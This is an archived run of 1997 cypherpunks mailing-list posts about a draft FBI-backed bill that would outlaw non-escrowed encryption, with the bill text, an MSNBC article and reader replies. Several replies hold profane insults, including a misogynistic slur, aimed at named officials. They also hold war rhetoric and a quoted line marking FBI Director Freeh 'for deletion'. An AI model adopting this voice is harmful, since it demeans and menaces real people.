-Declan

-------

	SEC. 105. PUBLIC ENCRYPTION PRODUCTS AND SERVICES

	(a) As of January 1, 1999, public network service
	providers offering encryption products or encryption
	services shall ensure that such products or services
	enable the immediate decryption of communications or
	electronic information encrypted by such products or
	services on the public network, upon receipt of a court
	order, warrant, or certification, pursuant to section
	106, without the knowledge or cooperation of the person
	using such encryption products or services.

	(b) As of January 1, 1999, it shall be unlawful for any
	person to manufacture for sale or distribution within
	the U.S., distribute within the U.S., sell within the
	U.S., or import into the U.S., any product that can be
	used to encrypt communications or electronic
	information, unless that product:

  	 (1) includes features, such as key recovery, trusted 
	 third party compatibility or other means, that

	  (A) permit immediate decryption upon receipt of
	  decryption information by an authorized party without
	  the knowledge or cooperation of the person using such
	  encryption product; and

	  (B) is either enabled at the time of manufacture,
	  distribution, sale, or import, or may be enabled by the
	  purchase or end user; or

	 (2) can be used only on systems or networks that include
	 features, such as key recovery, trusted third party
	 compatibility or other means, that permit immediate
	 decryption by an authorized party without the knowledge
	 or cooperation of the person using such encryption
	 product.

	(c) (1) Within 180 days of the enactment of this Act,
	the Attorney General shall publish in the Federal
	Register functional criteria for complying with the
	decryption requirements set forth in this section.

	(2) Within 180 days of the enactment of this Act, the
	Attorney General shall promulgate procedures by which
	data network service providers sand encryption product
	manufacturers, sellers, re-sellers, distributors, and
	importers may obtain advisory opinions as to whether a
	decryption method will meet the requirements of this
	section.

	(3) Nothing in this Act or any other law shall be
	construed as requiring the implementation of any
	particular decryption method in order to satisfy the
	requirements of paragrpahs (a) or (b) of this section.

-------

MSNBC's Brock Meeks on above FBI proposal & White House support:
  http://www.msnbc.com/news/108020.asp

My report on the September 3 "mandatory key escrow" Senate hearing:
  http://jya.com/declan6.htm

Transcript of FBI director Louis Freeh's remarks at Sep 3 hearing:
  http://jya.com/fbi-gak.txt

Reuters' Aaron Pressman on Commerce Dept backing away from FBI:
  http://www.pathfinder.com/net/latest/RB/1997Sep05/248.html

-------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 6 Sep 1997 08:35:05 +0800
To: cypherpunks@toad.com
Subject: Junger v. Daley Amended Complaint
Message-ID: <1.5.4.32.19970906001329.008963bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer Junger v. Daley (formerly Junger v. Christopher)
Supplemental and Amended Complaint which responds
to recent exchanges between the plaintiff and the Departments
of Justice and Commerce:

   http://jya.com/pdj3.htm  (40K) plus attachments

This builds on earlier filings and documents:

   http://jya.com/pdj.htm

   http://jya.com/pdj2.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 6 Sep 1997 08:56:29 +0800
To: cypherpunks@toad.com
Subject: New GAK Bill
Message-ID: <1.5.4.32.19970906003958.00849190@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



5 September 1997, MSNBC:


FBI Director Louis Freeh floats a new proposal at a congressional 
hearing to outlaw non-breakable crypto products.

A radical shift in crypto debate

Proposed bill outlaws non-crackable crypto products, restrict imports

By Brock N. Meeks, MSNBC

WASHINGTON -- The White House would likely be very sympathetic to a
controversial new bill that would outlaw all encryption software that 
doesn't allow law enforcement agencies to immediately decode scrambled 
messages, an administration official told MSNBC.

The new bill, still in draft form, is quietly circulating among members 
of the House and Senate. Although the administration hasn't formally 
endorsed any provisions of the bill, MSNBC has learned that the White 
House has been providing what is called technical drafting assistance
to members of Congress writing the bill. William Reinsch, the Commerce 
Department undersecretary for export administration, confirmed the White 
House involvement for MSNBC on Thursday night.

The draft bill was already in the hands of some members of the Senate's 
Subcommittee on Technology, Terrorism and Government Regulation when FBI 
Director Louis Freeh outlined its basic provisions while testifying before
the panel Wednesday. Freeh said "we would recommend" that legislation be 
written requiring all encryption software or services made in or imported 
to the United States to have a feature "which would allow for the immediate, 
lawful decryption" of any scrambled messages used for illegal purposes or 
in a national security matter.
                           
NATION AT RISK?

The White House, FBI and intelligence agencies claim that the proliferation 
of unbreakable encryption products puts the nation at risk. Criminals and 
terrorists are increasingly using unbreakable encryption products, Freeh
testified Wednesday. 

U.S. makers of encryption software claim that any government-mandated decoding 
features would make their products unacceptable to clients in the global 
marketplace. The new proposals outlined by Freeh also drew the ire of civil
liberties groups, which fear that any government controls on encryption 
products raise serious First Amendment and privacy concerns.

Placing such government-mandated controls on the domestic use and manufacture 
of encryption software, as well as on the import of encryption products, 
stands in marked contrast to current White House crypto policies. Currently,
the United States places strict regulations on the export of any encryption 
products that do make decoding keys available to law enforcement agencies. 
However, the administration has steadfastly maintained throughout the often
contentious public debate over encryption policies that it would not place 
any restrictions on the domestic use of encryption software, nor would it
restrict the import of encryption products. 

Despite Freeh's testimony and the draft legislation written with White House 
assistance, Reinsch said the administration's policy on encryption hasn't 
changed. "I want to emphasize that [in providing drafting assistance] we are
responding to committee requests," he said. "And those requests have been 
fairly directive, such as: 'Give us some examples of how we can better 
accommodate law enforcement needs.' " 

Currently, the White House is backing an encryption bill in the Senate called 
the Secure Public Networks Act, also known as S. 909. This bill would 
encourage the use of and set up guidelines for encryption software products 
with decoding keys. Under this plan, all coded messages would spin off a 
decoding key that would be stored with a government-approved third party. 
Law enforcement agencies, foreign or domestic, would be allowed access to 
those keys if they obtained a court-ordered warrant. The bill would not 
restrict or require any encryption software used in the United States, or 
restrict the import of any foreign crypto products. 

However, MSNBC has learned that the draft bill now circulating among members 
of the House and Senate specifically outlaws the "manufacture, distribution 
or import" of any encryption software product or communication device that 
does not "allow the immediate decryption" of all scrambled messages or 
communications "if used for illegal purposes." The bill also targets 
"network services," such as Internet Service Providers, that provide 
encryption capabilities to their clients.
                           
BAN WOULD GO INTO EFFECT IN 1999

Under this proposed bill, if such encryption services are offered by a 
company like ISP, the service provider must build in a provision to allow
for immediate decryption of any scrambled messages, according to several 
sources that have seen the draft language. The software ban would
go into effect in January 1999.

Reinsch told MSNBC he wasn't sure that Freeh's testimony "accurately 
reflected" the language the White House offered in its technica
drafting for congressional committees. However, he indicated the 
administration was interested in Freeh's proposal.

"I'll be blunt about it," Reinsch said. If such a bill were approved by a 
congressional committee, the administration "would look very seriously at 
it and I imagine we would be very sympathetic to it," he said.

Opponents of proposals to require key for all encryption software blanched 
at Freeh's statements. "This proposal crosses a line that hasn't been 
crossed before in the area of domestic controls on crypto," said Alan
Davidson, policy analyst for the Center for Democracy and Technology. 
Davidson said a government mandate to provide immediate decryption 
capabilities would be like "forcing everyone to live in a glass house."
It also "trashes the Fourth Amendment," which guarantees a right to be 
protected from unlawful search and seizure, Davidson said.

Freeh told the Senate panel Wednesday that he isn't looking to expand law 
enforcement's investigative powers. Rather, he said, he is only looking for 
a "Fourth Amendment that works in the Information Age."
                            
------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 6 Sep 1997 11:57:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mandatory key escrow bill text, backed by FBI
In-Reply-To: <Pine.GSO.3.95.970905192805.15825I-100000@well.com>
Message-ID: <19970906034625.26978.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:

> 	(b) As of January 1, 1999, it shall be unlawful for any
> 	person to manufacture for sale or distribution within
> 	the U.S., distribute within the U.S., sell within the
> 	U.S., or import into the U.S., any product that can be
> 	used to encrypt communications or electronic
> 	information, unless that product:
> 
>   	 (1) includes features, such as key recovery, trusted 
> 	 third party compatibility or other means, that
> 
> 	  (A) permit immediate decryption upon receipt of
> 	  decryption information by an authorized party without
> 	  the knowledge or cooperation of the person using such
> 	  encryption product; and

This is blatantly unconstitutional and breaks new ground that the
government has never even dared hint at before. 

The true agenda of the GAKers has finally been disclosed to the American
public.

Next they will want copies of all of our house keys for the jackbooted
thugs to hold, and emergency Assault Plungers in all our umbrella stands
ready for the cops to ram up the citizens' assholes. 

This is not simply a proposed bill.  It is an ACT OF WAR.

It is them or us.  I pick us. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 6 Sep 1997 12:04:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New GAK Bill
In-Reply-To: <1.5.4.32.19970906003958.00849190@pop.pipeline.com>
Message-ID: <v03102807b036832e8fca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:11 PM -0700 9/5/97, TruthMonger wrote:
>John Young wrote:
>>
>> 5 September 1997, MSNBC:
>>
>> FBI Director Louis Freeh floats a new proposal at a congressional
>> hearing to outlaw non-breakable crypto products.
>
>  Surprise, surprise!
>  It's amazing that nobody saw this coming. I guess we were all fools
>for trusting the mainstream media to warn us of the possibility of
>the government taking this fascist, dictatorial, mind-control action.
>  Gee, I sure wish I hadn't turned in all my guns.

Irony aside, some of us saw this coming more than 5 years ago.

As the saying goes, "check the archives."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Sat, 6 Sep 1997 12:23:05 +0800
To: cypherpunks@toad.com
Subject: Please show me these encryption algorithms
Message-ID: <19970906040906.29100.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody know RC4,RC2,CDMF,MISTY,MULTI2 encryption algorithms?
If you know these encryption algorithms,
Please show me these encryption algorithms.





______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Sep 1997 11:24:31 +0800
To: John Young <jya@pipeline.com>
Subject: Re: New GAK Bill
In-Reply-To: <1.5.4.32.19970906003958.00849190@pop.pipeline.com>
Message-ID: <3410C9CD.4C4D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> 
> 5 September 1997, MSNBC:
> 
> FBI Director Louis Freeh floats a new proposal at a congressional
> hearing to outlaw non-breakable crypto products.

  Surprise, surprise!
  It's amazing that nobody saw this coming. I guess we were all fools
for trusting the mainstream media to warn us of the possibility of
the government taking this fascist, dictatorial, mind-control action.
  Gee, I sure wish I hadn't turned in all my guns.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 6 Sep 1997 09:55:38 +0800
To: John Young <jya@pipeline.com>
Subject: Re: New GAK Bill
In-Reply-To: <1.5.4.32.19970906003958.00849190@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970905214047.13508A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Yeah, I have a copy of the FBI's "technical assistance"  draft dated late
August. Haven't had time to write about it yet. Party's taking too much
prep time. Maybe I'll type in the highlights tonight or distribute it at
the DC cypherpunks party tomorrow. 

Bottom line: non-GAKd crypto is outlawed after Jan 1, 1999.

-Declan


On Fri, 5 Sep 1997, John Young wrote:

> 5 September 1997, MSNBC:
> 
> 
> FBI Director Louis Freeh floats a new proposal at a congressional 
> hearing to outlaw non-breakable crypto products.
> 
> A radical shift in crypto debate
> 
> Proposed bill outlaws non-crackable crypto products, restrict imports
> 
> By Brock N. Meeks, MSNBC
> 
> WASHINGTON -- The White House would likely be very sympathetic to a
> controversial new bill that would outlaw all encryption software that 
> doesn't allow law enforcement agencies to immediately decode scrambled 
> messages, an administration official told MSNBC.
> 
> The new bill, still in draft form, is quietly circulating among members 
> of the House and Senate. Although the administration hasn't formally 
> endorsed any provisions of the bill, MSNBC has learned that the White 
> House has been providing what is called technical drafting assistance
> to members of Congress writing the bill. William Reinsch, the Commerce 
> Department undersecretary for export administration, confirmed the White 
> House involvement for MSNBC on Thursday night.
> 
> The draft bill was already in the hands of some members of the Senate's 
> Subcommittee on Technology, Terrorism and Government Regulation when FBI 
> Director Louis Freeh outlined its basic provisions while testifying before
> the panel Wednesday. Freeh said "we would recommend" that legislation be 
> written requiring all encryption software or services made in or imported 
> to the United States to have a feature "which would allow for the immediate, 
> lawful decryption" of any scrambled messages used for illegal purposes or 
> in a national security matter.
>                            
> NATION AT RISK?
> 
> The White House, FBI and intelligence agencies claim that the proliferation 
> of unbreakable encryption products puts the nation at risk. Criminals and 
> terrorists are increasingly using unbreakable encryption products, Freeh
> testified Wednesday. 
> 
> U.S. makers of encryption software claim that any government-mandated decoding 
> features would make their products unacceptable to clients in the global 
> marketplace. The new proposals outlined by Freeh also drew the ire of civil
> liberties groups, which fear that any government controls on encryption 
> products raise serious First Amendment and privacy concerns.
> 
> Placing such government-mandated controls on the domestic use and manufacture 
> of encryption software, as well as on the import of encryption products, 
> stands in marked contrast to current White House crypto policies. Currently,
> the United States places strict regulations on the export of any encryption 
> products that do make decoding keys available to law enforcement agencies. 
> However, the administration has steadfastly maintained throughout the often
> contentious public debate over encryption policies that it would not place 
> any restrictions on the domestic use of encryption software, nor would it
> restrict the import of encryption products. 
> 
> Despite Freeh's testimony and the draft legislation written with White House 
> assistance, Reinsch said the administration's policy on encryption hasn't 
> changed. "I want to emphasize that [in providing drafting assistance] we are
> responding to committee requests," he said. "And those requests have been 
> fairly directive, such as: 'Give us some examples of how we can better 
> accommodate law enforcement needs.' " 
> 
> Currently, the White House is backing an encryption bill in the Senate called 
> the Secure Public Networks Act, also known as S. 909. This bill would 
> encourage the use of and set up guidelines for encryption software products 
> with decoding keys. Under this plan, all coded messages would spin off a 
> decoding key that would be stored with a government-approved third party. 
> Law enforcement agencies, foreign or domestic, would be allowed access to 
> those keys if they obtained a court-ordered warrant. The bill would not 
> restrict or require any encryption software used in the United States, or 
> restrict the import of any foreign crypto products. 
> 
> However, MSNBC has learned that the draft bill now circulating among members 
> of the House and Senate specifically outlaws the "manufacture, distribution 
> or import" of any encryption software product or communication device that 
> does not "allow the immediate decryption" of all scrambled messages or 
> communications "if used for illegal purposes." The bill also targets 
> "network services," such as Internet Service Providers, that provide 
> encryption capabilities to their clients.
>                            
> BAN WOULD GO INTO EFFECT IN 1999
> 
> Under this proposed bill, if such encryption services are offered by a 
> company like ISP, the service provider must build in a provision to allow
> for immediate decryption of any scrambled messages, according to several 
> sources that have seen the draft language. The software ban would
> go into effect in January 1999.
> 
> Reinsch told MSNBC he wasn't sure that Freeh's testimony "accurately 
> reflected" the language the White House offered in its technica
> drafting for congressional committees. However, he indicated the 
> administration was interested in Freeh's proposal.
> 
> "I'll be blunt about it," Reinsch said. If such a bill were approved by a 
> congressional committee, the administration "would look very seriously at 
> it and I imagine we would be very sympathetic to it," he said.
> 
> Opponents of proposals to require key for all encryption software blanched 
> at Freeh's statements. "This proposal crosses a line that hasn't been 
> crossed before in the area of domestic controls on crypto," said Alan
> Davidson, policy analyst for the Center for Democracy and Technology. 
> Davidson said a government mandate to provide immediate decryption 
> capabilities would be like "forcing everyone to live in a glass house."
> It also "trashes the Fourth Amendment," which guarantees a right to be 
> protected from unlawful search and seizure, Davidson said.
> 
> Freeh told the Senate panel Wednesday that he isn't looking to expand law 
> enforcement's investigative powers. Rather, he said, he is only looking for 
> a "Fourth Amendment that works in the Information Age."
>                             
> ------
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 6 Sep 1997 04:38:08 +0800
To: cypherpunks@toad.com
Subject: Re: Dianaism Was: Re: Di and Dodi Run Over A Land Mine
Message-ID: <199709052012.WAA03009@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Sean Roach wrote:
> Anyone care to lay odds as to how soon a religion will start up with the
> late princess as the main diety?
> I'm guessing 5 years for the first hard-cores.  And 20 years for
> international visibility.

I have already seen one newscast which has predicted that Diana will
join Elvis as a diety-figurehead.
So, now that we have a King _and_ a Queen, why don't we start a new
nation? They would be the perfect titular heads for a Virtual Nation,
because their lifestyles would be inexpensive for us to maintain, no 
matter how lavishly we choose to treat them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 6 Sep 1997 10:34:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DCSB: Boston D-H expiration Party at Doyles on Saturday. (fwd)y
In-Reply-To: <199709060026.UAA19169@www.video-collage.com>
Message-ID: <v03110795b0366f333576@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 pm -0400 on 9/5/97, Tim May wrote:


> Why not say, "Fuck you."?

Welll, if you really insist:

    Fuck you.

    In half.

    With a brick.

In jest, of course...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Sep 1997 12:37:24 +0800
To: cypherpunks@toad.com
Subject: LYING FUCKS! / Behind the ELECTROMAGNETIC CURTAIN
Message-ID: <3410DBF2.2F9D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



To everyone I know:
  I've had enough of the bullshit, mind-control fascism surfacing at
an increasingly fast pace in an assault on freedom and privacy.
  I've also had enough of the constant lies of an established political
power structure which is now so firmly entrenched in the seat of power
that they no longer even bother to tell *_good_* lies.
  The final straw, for me, was the inevitable announcement that anyone
paying the least attention could see coming from a mile away, despite
all of the flag-waving, 'land of the free' speeches, and denials by
those in power of their true intentions in regard to the future of 
free speech, liberty and privacy.

----
5 September 1997, MSNBC:
FBI Director Louis Freeh floats a new proposal at a congressional 
hearing to outlaw non-breakable crypto products.
----

  Accordingly, I am pledging to henceforth exercise my right to free
speech, in my own manner, right up to the time when we all face
imprisonment for not only free speech, but for freedom of thought,
as well.
  My manner is to call a lying fuck a _lying_fuck_; to call a
rat fucker a _rat_fucker_; to call a fucking imbecile a _fucking
_imbecile_; to call a Nazi piece of shit a _Nazi_ _piece_of_shit_.
  In the future, I plan to express myself in a manner which does
not give support to the 'quiet lies' that are increasingly being
told by the mainstream press and a timid public which are either
too tired of fighting the fascists or have too much invested in
the current system to risk rocking the boat by calling for an
end to bullshit, draconian laws, and increasing oppression and
imprisonment of the citizens of what were once free nations.
  I intend to do so in my private emails, my public posts, and
in the editing of news that I forward to others.

e.g.
----
NATION AT RISK?

The Fascist White House, Terrorist FBI and co-conspirator 
intelligence agencies claim that the proliferation of unbreakable 
encryption products puts the nation at risk. Unnamed Criminals and 
Mythical terrorists are increasingly using unbreakable encryption 
products, Lying Fuck Freeh testiLied Wednesday. 
----

  I am forwarding this message to everyone in my email address book
with the suggestion that they consider doing the same, or to take
a similar action which may be more in line with their own character
and predelictions.
  The bottom line:
Our elected legislators, politicians, and public servants are *not*
going to tell us the truth.
The media is *not* going to tell us the truth.
If the citizens don't speak truthfully to one another, then there is
*no* hope of stemming the escalating assaults on privacy and liberty.

As sole member of the TruthMonger Cult of One:
I hereby declare an electronic state of war against the dictatorial,
fascist entities who are attempting to build an ElectroMagnetic
Curtain around an InterNet that served as a truly democratic forum
for Free Netizens until the power structure declared it to be the
forefront of a New World, while eschewing any intentions to bring
it under the thumb of a New World Order.

  I suggest that the Lying Fascist Fucks who are mounting an assault
on the freedom and privacy of their citizens lay in some Electronic
Body Bags.
  Perhaps each truthful word I shoot in their direction will be but
a negligable 'B-B' in reality, but I refuse to refrain from doing
what I can, even if I am wrong about things having reached a stage
where enough people will join in resistance to the assault on
freedom and privacy to bring down the ElectroMagnetic curtain with
a mountain of B-B's.

  I can't stop these dictatorial fascists from telling their lies,
but I *can* still express my view of their crass assault on the
constitutional rights of myself and others.
  I *can* call Louis Freeh, Lying Fuck Freeh.
  I *can* call Bill Clinton, Lying Nazi Schill Clinton.
  I *can* call Dianne Feinstein, Lying Cunt SwineStein.

  I not only *can*, but I *will*.
  I will fight with bytes, even though I know that, ultimately, 
these increasingly violent power mongers will respond with 
bullets if they perceive a great enough threat to risk exposing
their true nature and intentions.
  I believe that I can fire a lot of B-B's at the ElectroMagnetic
Curtain before I 'commit suicide', have a 'tragic accident', or
unwittingly fire one of my electronic B-B's in the direction of
heavily armed, camoflaged secret troops 'defending' the Electronic
Border that the fascists are attempting to build around a formerly
Free InterNet.

  Am I the only one who has noticed that free speech and private
communication on the InterNet posed little 'threat' to society
until the government decided to get increasingly involved?
  Think about it. _Who_is_the_enemy_?
  The Public? The Citizens? I think not...

TruthMonger
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 6 Sep 1997 10:48:50 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: DCSB: Boston D-H expiration Party at Doyles on Saturday.
In-Reply-To: <v0311078cb036264cfc46@[139.167.130.248]>
Message-ID: <Pine.GSO.3.95.970905223744.13508C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Whoops! My fault. I thought you were and said that to Peter this
morning...

-Declan


On Fri, 5 Sep 1997, Robert Hettinga wrote:
> 
> Meanwhile, we're sitting here watching the Bay Area, and Austin, do
> something, and then Declan and the Washingtoonians do something, but the
> *final* straw came when Peter Wayner calls up and says:
> 
> "WELL???? Are you guys in Boston going to DO something? I'm gonna file a
> story in the Times tomorrow that SAYS you are..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Sep 1997 12:55:39 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Amen! / Re: Mandatory key escrow bill text, backed by FBI
In-Reply-To: <19970906034625.26978.qmail@zipcon.net>
Message-ID: <3410DE53.14EB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:

> This is not simply a proposed bill.  It is an ACT OF WAR.
> 
> It is them or us.  I pick us.

  I have ordered a semi-automatic keyboard and a Telsa snarf-barrier.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Sep 1997 13:22:17 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: "YOU CAN'T *_HANDLE_* THE TRUTH!" / Re: New GAK Bill
In-Reply-To: <Pine.GSO.3.95.970906004141.16467A-100000@cp.pathfinder.com>
Message-ID: <3410E60C.22C5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> Last I checked, I'm part of the mainstream media. I've been warning of
> this for the last year, if not longer.

  I truly appreciate the effort you have made to shine some light
on the realities and dangers of the direction that government is
moving society in.
  However, I would suggest that you read my "LYING FUCKS!" post in
order to pick up a few pointers on how to increase the effectiveness
of your messages to the public.
  If your 'Truth in Language' skills are somewhat lacking, then I 
would be happy to tutor you, with the goal of increasing your
communications skills to encompass the ability to go beyond the
ear-wax barrier to truth. { Being blessed with Tourette Syndrome,
I am fully qualified in this area. }

  If you just once post a Netly News article which refers to "Lying
Fuck Freeh," then I would be happy to stop spamming your employers
with suggestions that they change the motto of "Time Magazine" to:
"YOU CAN'T *_HANDLE_* THE TRUTH!"

xoxoxo,
TruthToto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sat, 6 Sep 1997 11:28:51 +0800
To: cypherpunks@toad.com
Subject: Re: Freeh is Marked for Deletion
In-Reply-To: <v03110731b0351e878b39@[139.167.130.248]>
Message-ID: <199709060326.XAA03786@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain




>  Freeh must be removed by any means necessary. His calling for mandatory (or
>  involuntary) key escrow marks him as unworthy of continued tenure. He is
>  marked for deletion.

HOLY DJEEZUUUUSSSSS Tim!

You long for becoming roommate to Jim Bell?

:-)

Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Sep 1997 13:50:31 +0800
To: cypherpunks@toad.com
Subject: Starting Date of the Digital Revolution
Message-ID: <3410EB54.4A01@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Friday, September 05, 1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 6 Sep 1997 11:59:57 +0800
To: cypherpunks@toad.com
Subject: Re: Hey
In-Reply-To: <Pine.SOL.3.91.970829102245.2832A-100000@hardy>
Message-ID: <3.0.2.32.19970905234916.0088e420@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 04:35 PM 9/1/97 -0500, you wrote:
>::
>Encrypted: PGP
>
>-----BEGIN PGP MESSAGE-----
>Version: PGP for Personal Privacy 5.0
>MessageID: yV9u2hakLFv9/SGjemJH0AuGYsBQ1cOE
>
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>G1QAGQBHNRPvsN92ORDxPY5K+JgeS4b8ZpRJ+C9pSFwtzJXyoSaPSWLVLe//GU4y
>H+yeO8kMmK2qbbthgDD1D/00sXbrQsqEbIyz2al/bRIFzalS8UHQg4Olg7hTjpGl
>AY608e0OyKO78dPdEGeRYH5PwW6BLgppULjR17+Puo0ukIqwcItJlYPx7K2AgNtA
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>j6q2TD5DA0CT/g1ETK3J0y+7cFfuGp6oP2PhP27VCBW6maIp1Z35K3yNy7vytrTE
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>Z2xcTkn5Y+ZJsPb/k9sOe8vKGK38IGYZdv2nj3k7MQvCIIuwAc37XIiC53mWAP8V
>mIISGuYa2DgcxkdEy/rW0vd3AbhRzNGHp4u4zpjK/r2kTDGYGBURZFv2dC24KmcT
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>4fEPvD0lgJjC7jkkwAjEfN3E8DSCORs7GzKY1/Psr5ZZkEKVezv2blL+5YjYff+H
>vfqgXkeGKOgXNUT1lNZZWA==
>=wuTx
>-----END PGP MESSAGE-----

Oopssss...

Man, do I feel like a jackass.
----------------------------------------------------------------------------
 "...The right of the people to keep and bear arms shall not be infringed."
			-U.S. Constitution, Amendment II
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 6 Sep 1997 12:14:36 +0800
To: <cypherpunks@toad.com>
Subject: Re: Di and Dodi Run Over A Land Mine
Message-ID: <199709060405.AAA25102@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/5/97 4:54 AM, Toto (toto@sk.sympatico.ca)  passed this wisdom:

 [snip]
> I don't know, I don't care, and it is really none of my business.
>What *is* my business is to view my fellow man/woman and perceive
>if they are lifted up or further downtrodden by their interactions
>with myself and others. I have seen the faces of the AIDS children
>that she touched, when no one else would, and the lepers whom she
>shook hands with, when others were afraid to do so, and I have seen
>the light that she spread among those whom society had cast aside.

  This is the light in which I prefer to remember her .. thankyou for
saying it so nicely.

  [snip]

>  You write that Diana's campaign against the use of land mines is
>an unrealistic attempt to negate the cheap and effective defense
>of the poorer countries. Perhaps what was needed was for her to
>have the input of someone such as yourself who understands the need
>for cheap and effective self-defence, so that she could concentrate
>her efforts on removing landmines that are no longer needed, and
>preventing the dispersal of landmines which are not truly needed 
>for self-defence, but are only serving as 'toys for boys' who want
>to play soldier.

 .. here I can speak with some authority ... having lost a part of my
anatomy to such a device ... for many years I quietly accepted what
had happened to me as a forseeable consequence of having gone off to a
war ... but in correspondance with my US Senator, Patrick Leahy,
another major backer of the anti-landmine effort, I came to realize
that the mines sowed along the trail from Phuc Loc(5) to Phuc Loc(6),
of which I became one victim, could just as easily have maimed/killed
any of the dozens of villagers who plied that trail every day. 

  Further, when I was trained as an infantry officer by the Marine
Corps in the use of mines we were taught to painstakingly prepare map
overlays showing the location of each and every mine ... but when we
got to that tropical SE Asian wonderland ... the way it was done was
to plant em and forget em unless it was in your front yard ... that is
immoral, no discussion! FWIW, my .02!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBDV+MdZgC62U/gIEQJ+EwCeLd9/XBunjjX3LU0TMHHk1IKrgK8AoJjK
6zPkJXIZ0dj8zAMr932m1AMD
=uGTd
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
      For PGP Keys -  Send Email Subject "Get PGP Key"
   "...if you drink much from a bottle marked 'poison,' it is almost
     certain to disagree with you, sooner or later"  -- Lewis Carroll






